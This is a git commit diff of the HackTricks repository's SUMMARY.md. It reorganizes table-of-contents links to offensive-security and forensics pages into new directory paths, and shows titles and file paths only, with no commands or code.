mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 22:20:43 +00:00
GitBook: No commit message
This commit is contained in:
parent
f8d253199b
commit
b9536008fc
198 changed files with 19145 additions and 2843 deletions
192
SUMMARY.md
192
SUMMARY.md
|
@ -29,35 +29,35 @@
|
||||||
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||||
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||||
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
||||||
* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
|
* [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
|
||||||
* [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
|
* [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||||
* [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
|
* [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||||
* [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
|
* [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
|
||||||
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||||
* [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
|
* [Linux Forensics](generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md)
|
||||||
* [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
|
* [Malware Analysis](generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md)
|
||||||
* [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
|
* [Memory dump analysis](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||||
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||||
* [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
* [Partitions/File Systems/Carving](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||||
* [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
* [File/Data Carving & Recovery Tools](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||||
* [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
|
* [Pcap Inspection](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md)
|
||||||
* [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
* [DNSCat pcap analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||||
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
||||||
* [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
* [USB Keystrokes](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||||
* [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
* [Wifi Pcap Analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||||
* [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
* [Wireshark tricks](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||||
* [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
* [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
* [Desofuscation vbs (cscript.exe)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||||
* [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||||
* [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||||
* [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||||
* [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
* [PNG tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
||||||
* [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
* [Video and Audio file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
||||||
* [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
* [ZIPs tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
||||||
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
|
* [Windows Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md)
|
||||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
* [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||||
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
||||||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||||
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||||
|
@ -125,8 +125,8 @@
|
||||||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
* [Useful Linux Commands](linux-hardening/useful-linux-commands.md)
|
||||||
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
* [Bypass Linux Restrictions](linux-hardening/bypass-bash-restrictions/README.md)
|
||||||
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
||||||
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
|
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
|
||||||
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
||||||
|
@ -163,8 +163,8 @@
|
||||||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md)
|
||||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md)
|
||||||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||||
|
@ -174,7 +174,7 @@
|
||||||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||||
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
|
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
|
||||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||||
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
||||||
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
|
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
|
||||||
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
||||||
|
@ -207,13 +207,13 @@
|
||||||
|
|
||||||
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||||
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||||
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||||
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||||
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||||
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
||||||
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
||||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md)
|
||||||
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
||||||
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||||
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
||||||
|
@ -230,7 +230,7 @@
|
||||||
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||||
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||||
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
|
||||||
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||||
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||||
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||||
|
@ -266,22 +266,22 @@
|
||||||
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
||||||
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
||||||
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
||||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs.md)
|
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
|
||||||
* [UAC - User Account Control](windows-hardening/windows-security-controls/uac-user-account-control.md)
|
* [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
|
||||||
* [NTLM](windows-hardening/ntlm/README.md)
|
* [NTLM](windows-hardening/ntlm/README.md)
|
||||||
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||||
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||||
* [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md)
|
* [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
|
||||||
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||||
* [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md)
|
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||||
* [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md)
|
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||||
* [WinRM](windows-hardening/ntlm/winrm.md)
|
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||||
* [WmicExec](windows-hardening/ntlm/wmicexec.md)
|
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||||
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||||
* [WTS Impersonator](windows-hardening/stealing-credentials/WTS-Impersonator.md)
|
* [WTS Impersonator](windows-hardening/stealing-credentials/wts-impersonator.md)
|
||||||
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
||||||
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
||||||
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||||
|
@ -418,7 +418,7 @@
|
||||||
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||||
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||||
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
|
* [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||||
|
@ -436,7 +436,7 @@
|
||||||
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
||||||
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||||
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
|
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||||
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||||
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||||
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||||
|
@ -463,7 +463,7 @@
|
||||||
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
|
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
|
||||||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md)
|
||||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||||
|
@ -515,7 +515,7 @@
|
||||||
|
|
||||||
## 🕸️ Pentesting Web
|
## 🕸️ Pentesting Web
|
||||||
|
|
||||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||||
|
@ -656,7 +656,7 @@
|
||||||
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||||
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
* [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||||
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
||||||
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
||||||
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
||||||
|
@ -676,28 +676,28 @@
|
||||||
|
|
||||||
## 😎 Hardware/Physical Access
|
## 😎 Hardware/Physical Access
|
||||||
|
|
||||||
* [Physical Attacks](physical-attacks/physical-attacks.md)
|
* [Physical Attacks](hardware-physical-access/physical-attacks.md)
|
||||||
* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
|
* [Escaping from KIOSKs](hardware-physical-access/escaping-from-gui-applications.md)
|
||||||
* [Firmware Analysis](physical-attacks/firmware-analysis/README.md)
|
* [Firmware Analysis](hardware-physical-access/firmware-analysis/README.md)
|
||||||
* [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md)
|
* [Bootloader testing](hardware-physical-access/firmware-analysis/bootloader-testing.md)
|
||||||
* [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md)
|
* [Firmware Integrity](hardware-physical-access/firmware-analysis/firmware-integrity.md)
|
||||||
|
|
||||||
## 🦅 Reversing & Exploiting
|
## 🦅 Reversing & Exploiting
|
||||||
|
|
||||||
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
* [Reversing Tools & Basic Methods](reversing-and-exploiting/reversing-tools-basic-methods/README.md)
|
||||||
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
|
* [Angr](reversing-and-exploiting/reversing-tools-basic-methods/angr/README.md)
|
||||||
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
|
* [Angr - Examples](reversing-and-exploiting/reversing-tools-basic-methods/angr/angr-examples.md)
|
||||||
